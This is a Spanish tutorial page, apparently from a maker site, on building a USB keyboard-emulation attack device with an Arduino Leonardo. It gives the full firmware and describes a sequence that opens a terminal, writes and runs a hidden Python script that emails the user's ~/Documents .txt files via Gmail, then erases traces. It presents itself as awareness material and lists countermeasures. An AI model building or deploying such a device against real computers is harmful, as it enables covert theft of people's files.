Manufactura industrial
Internet industrial de las cosas | Materiales industriales | Mantenimiento y reparación de equipos | Programación industrial |
home  MfgRobots >> Manufactura industrial >  >> Manufacturing Technology >> Proceso de manufactura

Prevención de ataques USB HID: Demostración de explotación de teclado con Arduino Leonardo

Componentes y materiales

td>Lector de tarjeta micro SD
Arduino Leonardo 1
1
Tarjeta micro SD (pocos GB) 1
Pulsador de 3 pines (con resistencia) 1
Cables jumper (genéricos) 1
Cable USB-A a Micro-USB 1

Sobre el proyecto

Este tutorial muestra cómo un Arduino Leonardo puede emular un dispositivo de interfaz humana (HID) —teclado y ratón— para ejecutar un ataque de demostración en Ubuntu Linux. El objetivo no es facilitar ataques, sino concienciar sobre los riesgos reales y cómo protegerse.

Aprenderás:

Paso 1: Materiales

Paso 2: Construcción del dispositivo

Principio de funcionamiento

El Leonardo actúa como HID. Al pulsar el botón, lee un archivo hack.txt de la tarjeta SD que contiene secuencias de teclas y comandos especiales (Sleep::, Command::). Estas secuencias abren una terminal (Ctrl+Alt+T), crean un script Python con vi, lo ejecutan en segundo plano (nohup python hack.py &), borran el script y cierran la terminal (Alt+F4). Todo en segundos sin dejar rastro.

Instrucciones de montaje

  1. Conecta el cable micro USB al Leonardo.
  2. Conecta el pulsador: GND, VCC y señal al pin D8.
  3. Conecta el lector de tarjeta SD al header ICSP del Leonardo (consulta guía SparkFun). Pin SS al pin digital 10.
  4. Sube el código keyboard_exploit.ino (baudios 9600, placa Leonardo).
  5. Formatea la tarjeta SD en FAT16/FAT32.
  6. Copia hack.txt a la tarjeta (ver código abajo). Edita las credenciales de email (smtp_user, smtp_pass, to_address).
  7. Inserta la tarjeta en el lector conectado al Leonardo.

Paso 3: Detalle del funcionamiento

El archivo hack.txt puede contener texto plano (se teclea tal cual) o líneas especiales:

La secuencia del ejemplo:

  1. Abre terminal (Ctrl+Alt+T).
  2. Crea hack.py con vi.
  3. Escribe script Python que recopila archivos .txt de ~/Documents y los envía por Gmail.
  4. Ejecuta en background, borra el script, cierra terminal.

Mejoras y solución de problemas

Limitaciones

  1. Sin retroalimentación del sistema objetivo → se necesitan delays arbitrarios.
  2. Posibles problemas de permisos (puerto USB, instalación de software).
  3. Velocidad de tecleo limitada.
  4. Solo funciona en el SO objetivo (en el demo, Ubuntu Linux).

Paso 4: Contramedidas

  1. Deshabilitar puertos USB (Windows: guía).
  2. Lista blanca de dispositivos USB (Windows: ejemplo).
  3. Bloquear sesión al alejarse.
  4. No usar root / requerir contraseña para instalar.
  5. Mantener actualizaciones automáticas activadas.

Código principal (keyboard_exploit.ino)

#include "Keyboard.h"
#include "SPI.h"
#include "SD.h"

String filenameOnCard = "hack.txt";
String sleepCommandStartingPoint = "Sleep::";
String commandStartingPoint = "Command::";
int delayBetweenCommands = 10;
const int buttonPin = 8;
const int chipSelect = 10;
int previousButtonState = HIGH;

void setup() {
  pinMode(buttonPin, INPUT);
  Serial.begin(9600);
  Keyboard.begin();
  if (!SD.begin(chipSelect)) {
    Serial.println("Card failed, or not present!");
    return;
  }
}

void loop() {
  int buttonState = digitalRead(buttonPin);
  if ((buttonState != previousButtonState) && (buttonState == HIGH)) {
    sdFileToKeyboard();
    Serial.println("Uploaded!");
    delay(500);
  }
  previousButtonState = buttonState;
}

void sdFileToKeyboard() {
  File dataFile = SD.open(filenameOnCard);
  if (!dataFile) {
    Serial.println("The specified filename is not present on SD card, check filenameOnCard!");
    return;
  }
  String line;
  while (dataFile.available()) {
    line = dataFile.readStringUntil('\n');
    Serial.println(line);
    sendToKeyboard(line);
  }
  dataFile.close();
}

void sendToKeyboard(String line) {
  String workingLine = line;
  if (workingLine.indexOf(sleepCommandStartingPoint) != -1) {
    sleepFor(line);
    return;
  }
  if (workingLine.indexOf(commandStartingPoint) == -1) {
    Serial.print("Text:"); Serial.println(line);
    Keyboard.println(line);
    pressEnter();
    return;
  }
  Serial.println("Command:");
  int charPosition = commandStartingPoint.length();
  workingLine += ",";
  while (workingLine != "") {
    workingLine = workingLine.substring(charPosition);
    int specialCommandDelimiterPosition = workingLine.indexOf(",");
    String command = workingLine.substring(0, specialCommandDelimiterPosition);
    charPosition = specialCommandDelimiterPosition + 1;
    if (command != "") {
      Serial.print("Command found:"); Serial.println(command);
      Keyboard.press(getCommandCode(command));
      delay(delayBetweenCommands);
    }
  }
  Keyboard.releaseAll();
  delay(delayBetweenCommands);
}

void pressEnter() {
  Keyboard.press(KEY_RETURN);
  Keyboard.releaseAll();
}

void sleepFor(String line) {
  int sleepAmount = line.substring(sleepCommandStartingPoint.length(), line.length()).toInt();
  Serial.print("Sleeping for:"); Serial.println(sleepAmount);
  delay(sleepAmount);
}

char getCommandCode(String text) {
  char code = text.charAt(0);
  if (text == "KEY_LEFT_CTRL") return KEY_LEFT_CTRL;
  if (text == "KEY_LEFT_SHIFT") return KEY_LEFT_SHIFT;
  if (text == "KEY_LEFT_ALT") return KEY_LEFT_ALT;
  if (text == "KEY_UP_ARROW") return KEY_UP_ARROW;
  if (text == "KEY_DOWN_ARROW") return KEY_DOWN_ARROW;
  if (text == "KEY_LEFT_ARROW") return KEY_LEFT_ARROW;
  if (text == "KEY_RIGHT_ARROW") return KEY_RIGHT_ARROW;
  if (text == "KEY_RIGHT_GUI") return KEY_RIGHT_GUI;
  if (text == "KEY_BACKSPACE") return KEY_BACKSPACE;
  if (text == "KEY_TAB") return KEY_TAB;
  if (text == "KEY_RETURN") return KEY_RETURN;
  if (text == "KEY_ESC") return KEY_ESC;
  if (text == "KEY_INSERT") return KEY_INSERT;
  if (text == "KEY_DELETE") return KEY_DELETE;
  if (text == "KEY_PAGE_UP") return KEY_PAGE_UP;
  if (text == "KEY_PAGE_DOWN") return KEY_PAGE_DOWN;
  if (text == "KEY_HOME") return KEY_HOME;
  if (text == "KEY_END") return KEY_END;
  if (text == "KEY_CAPS_LOCK") return KEY_CAPS_LOCK;
  if (text == "KEY_F1") return KEY_F1;
  if (text == "KEY_F2") return KEY_F2;
  if (text == "KEY_F3") return KEY_F3;
  if (text == "KEY_F4") return KEY_F4;
  if (text == "KEY_F5") return KEY_F5;
  if (text == "KEY_F6") return KEY_F6;
  if (text == "KEY_F7") return KEY_F7;
  if (text == "KEY_F8") return KEY_F8;
  if (text == "KEY_F9") return KEY_F9;
  if (text == "KEY_F10") return KEY_F10;
  if (text == "KEY_F11") return KEY_F11;
  if (text == "KEY_F12") return KEY_F12;
  return code;
}

Esquemático

Diagrama Fritzing incluido (sketch_D4S1ftXkTU.fzz). Repositorio GitHub: https://github.com/danionescu0/arduino (carpeta projects/keyboard_exploit).

Proceso de manufactura

  1. Crea Animaciones y Juegos en LCD 16×2 con Arduino UNO
  2. Construye un Voltímetro Inteligente con Arduino y Smartphone – Proyecto DIY Fácil
  3. Registrador de Temperatura y Humedad con Arduino, DHT11 y Ethernet Shield
  4. Convierte tu Teclado MIDI en Tutor de Piano Inteligente con Arduino, LEDs y MuseScore
  5. Control Arduino UNO desde Python 3 – Envío de Comandos y Demo LED
  6. Autómatas Celulares en Tiempo Real con Arduino y Pantalla OLED 128x64
  7. Construye una Radio FM Compacta con Arduino Nano y RDA5807M
  8. Sistema de control de asistencia RFID en tiempo real con Arduino y Google Sheets
  9. Teclado Prototipo de 64 Teclas con Arduino: Matriz con Registros de Desplazamiento
  10. Construye una Calculadora Arduino con Pantalla LCD 16x2 y Teclado
  11. Integración IoT: Control Remoto de Arduino mediante Apps UWP Windows 10